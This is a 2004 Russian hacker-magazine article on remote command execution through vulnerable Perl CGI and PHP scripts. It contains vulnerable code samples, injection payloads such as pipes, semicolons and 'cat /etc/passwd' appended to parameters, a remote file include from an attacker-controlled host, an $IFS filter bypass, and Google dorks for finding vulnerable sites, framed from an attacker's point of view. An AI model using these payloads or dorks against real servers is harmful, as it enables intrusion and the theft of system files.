"Спецвыпуск журнала «Хакер» #47, октябрь 2004 г." - читать интересную книгу автора (Хакер)Отыщи и выполни! / Удаленное выполнение командХакеры способны атаковать сервер со всех сторон. Взломщик может использовать эксплоит или поразить сервер командой, выполненной через дырявый сценарий. HTTP-демон является самой опасной стороной сервера, которая скрывает за собой возможность интерпретирования практически любой *nix-команды. Об этом и многом другом ты прочтешь в данном материале. На самом деле, утверждение, что удаленно выполнять команды можно только через Web, ошибочно. Любой рабочий эксплоит, нацеленный на бажный сервис, способен выполнить какое-либо действие. Это может быть добавление пользователя, запуск интерпретатора и т.д. Важно то, что сам факт переполнения буфера приводит к фатальной ошибке и, как следствие, к удачному выполнению команды. Я бы с удовольствием раскрыл все тайны переполнения, но это уже было сделано в Спеце #08.04(45), посвященном дырявым буферам. Второй способ – атака через Web. На тысячах Web-серверов крутятся миллионы бажных сценариев, через которые можно выполнять системные запросы. Некоторые админы не исправляют уязвимые сценарии, так как надеются на фаервол, но грамотный взломщик может влегкую отключить брандмауэр даже через Web-лазейку. Я расскажу о самых известных уязвимостях в CGI/PHP-скриптах, эксплуатация которых приводит к фатальным последствиям. Начнем с самой популярной ошибки программистов. Баг таится в функции open(), которая есть в каждом более-менее серьезном сценарии. Суть ошибки состоит в следующем: функции передается имя файла, который необходимо прочитать и вывести на экран. Само имя поступает с входа CGI-потока, то есть задается удаленным пользователем как параметр скрипта. Всем известно, что open() понимает символ перенаправления (пайп) «|». Если этот символ встретится перед именем или после имени, функция попытается обратиться к файлу и выполнить его как команду! Хакеру достаточно изменить параметр скрипта на команду и обрамить ее вертикальными палочками. Рассмотрим это на наглядном примере. Пусть в сценарии юзается следующий код: Листинг $file=param(«file»); open(FILENAME,$file); while(lt;FILENAMEgt; ) { print } close(FILENAME); Мы видим, что переменная $file поступает с потоком данных. Она не проверяется на наличие каких-либо спецсимволов, поэтому хакер без проблем может добавить в переменную парочку пайпов. При нестандартном запросе в open() поступит переменная «|id|», которая выполнится как команда, а результат будет выведен на экран. Не думай, что этих скриптов мало – по статистике, каждый третий сервер можно атаковать таким тривиальным запросом. Как известно, функция system() предназначена для выполнения системных команд. Изредка ее используют в CGI-сценариях, запуская внешние приложения. Ничего страшного не происходит, если системный запрос не содержит пользовательских параметров скрипта. В противном случае злоумышленник может добиться выполнения произвольной команды. Рассмотрим пример бажного кода. Проект, из которого он позаимствован, и по сей день находится в онлайне, его код удалось выцепить после успешного эксплуатирования ошибки. Листинг #!/usr/bin/perl ### Simply Perl-Whoiser by XXX. use CGI qw(:standard); $host=param(«host»); system(«whois $host gt; log»); … После того как скрипт получил параметр host, он выполняет system() с этой опцией безо всякой проверки символов. Стоит атакующему подставить в переменную $host (читай: в параметр скрипта host) символ ‘;’, а за ним произвольную команду, как в файл log поместится уже не ответ бинарника /usr/bin/whois, а команда взломщика. К примеру, запрос вида http://victim.com/whois.cgi?host=blabla.ru;id покажет текущего пользователя (то есть пользователя, с правами которого выполняются cgi-скрипты на сервере). Я не могу не упомянуть про старый добрый баг в вызове sendmail, который до сих пор можно отыскать в тухлых скриптах. Ошибка заключается в использовании опции –t. Этот параметр позволяет указывать имя получателя в командной строке. Часто при таком раскладе это имя берется из входных данных CGI-скрипта и не проверяется на спецсимволы. Вот фрагмент кода уязвимой гостевой книги: Листинг use CGI qw(:standard); $email=param(«email»); open(MAIL,"|/usr/sbin/sendmail –t $email"); print MAIL «From: [email protected]\n»; print MAIL «Subject: Thanks\n\nThank you!\n»; close(MAIL); Как видно, переменная $email никоим образом не проверяется, что может привести к нежелательным последствиям. Стоит только указать на странице e-mail в виде [email protected]|cat /etc/passwd, и взломщику на мыло придет письмо с вложенным passwd. И все это из-за халатности или безграмотности программиста. Чтобы не возникало подобных ситуаций, нужно отказаться от ключика –t, а адрес получателя оформлять после вызова sendmail. Также необходимо проверять входные переменные на предмет лишних символов. Вот фрагмент кода, закрывающего баг: Листинг die print «Incorrect address!\n» if ($email=~/[\|;]/ || $email~!/\@/); open(MAIL,"|/usr/sbin/sendmail"); print MAIL «To: $email\n»; # … Теперь поговорим о PHP-сценариях. В них также встречаются серьезные ошибки. Самой хитовой из них можно считать include-уязвимость. Часто администраторы включают опцию register_globals в положение On. При этом все параметры, переданные сценарию, автоматически интерпретируются в переменные. С одной стороны, это очень удобно: кодер может без лишних проблем писать скрипты. А с другой стороны, никто не мешает злоумышленнику выполнить произвольный системный код на системе. Для этого достаточно создать небольшой файл megahack.php на любом сервере (хотя поддержки PHP там нет, в противном случае файлу придется дать другое расширение, так как с расширением .php при обращении к файлу он будет интерпретироваться сервером как скрипт, а в данной ситуации необходимо, чтобы сервер просто выдал его содержимое) и подсунуть URL файла уязвимому скрипту. Файл может быть таким: Листинг lt;?php # … include $my_include . «.php»; # … ?gt; В данном случае программист даже не представляет, что вместо его любимого data.php (если в $my_include хранится строка 'data') может подгрузиться хакерский data.php, находящийся на далеком уругвайском сервере по адресу http://urugwayhost/data.php (правда, для этого необходимо, чтобы у php директива allow_url_fopen была включена, но чаще всего так и бывает). Если все условия выполнены, взломщик вставляет в запрос дополнительный параметр «my_include» и присваивает ему значение url своего скрипта (без «.php» на конце). Например, запрос, выполняющий команду ls, выглядит следующим образом: Листинг http://victim/view.php?my_include=http://urugwayhost/dataamp;cmd=ls. В случае если админ запретил открытие ссылок в fopen(), можно составить PHP-код и поместить его в каталог /tmp: для этого стоит воспользоваться FTP или другой уязвимостью, позволяющей создавать на сервере файлы. В качестве параметра взломщик укажет путь к локальному файлу (например, /tmp/data). «Ну и где найти все это добро?» – спросишь ты. Конечно, на поисковиках! Например, с помощью Гугла можно отыскать PHP-скрипт, содержащий include-баг. Для этого можно воспользоваться запросом вида «filetype:php file=». В итоге поисковик покажет все PHP-сценарии с переменной file. Я уверен, что добрая их половина «болеет» include-багом. Если хочется найти CGI-скрипт с ошибкой в open(), можно использовать конструкцию «filetype:cgi html» или «filetype:pl html». В ответ мы получим массу сценариев с расширением .cgi или .pl соответственно, подключающих html-файлы. Именно в них содержится бажный код без проверки переменных на наличие пайпов. В заключение замечу, что взлом через WWW – дело творческое, к каждому сценарию необходим индивидуальный подход. Только тогда взломщик сможет чего-то добиться. Но начинать надо с поиска простых ошибок – багов в open(), fopen(), system() и других аналогичных функциях. Постигнув азы, ты продвинешься далее и сможешь анализировать скрипт, даже при отсутствии его исходников. Нужно лишь стремление и опыт, а остальное прибавится само собой. Бывают случаи, когда команда выполняется, но скрипт нещадно отрезает все ее аргументы. Получается, что хакер имеет право вставить всего одно слово в запрос. Из этой, казалось бы, неизбежной ситуации есть выход: вместо пробела нужно подставить пустую переменную окружения $IFS. Таким образом, запрос вида http://victim.com/bug.cgi?file=uname$ifs-a способен обойти жесткую проверку. По умолчанию, директива allow_url_fopen разрешена. Это означает, что функция fopen() способна подгрузить любой удаленный скрипт. В PHP также можно произвести атаку на system(). Для этого необходимо поставить «;» по краям переменной, а саму переменную представить в виде команды. Если в сишном коде программиста заботит явление переполнения буфера, то Web-разработчика в первую очередь должны волновать параметры, передаваемые CGI-сценарию. Ничто не мешает хакеру залить эксплоит через Web, получить рутовые права и насильно отключить фаервол. |
||
|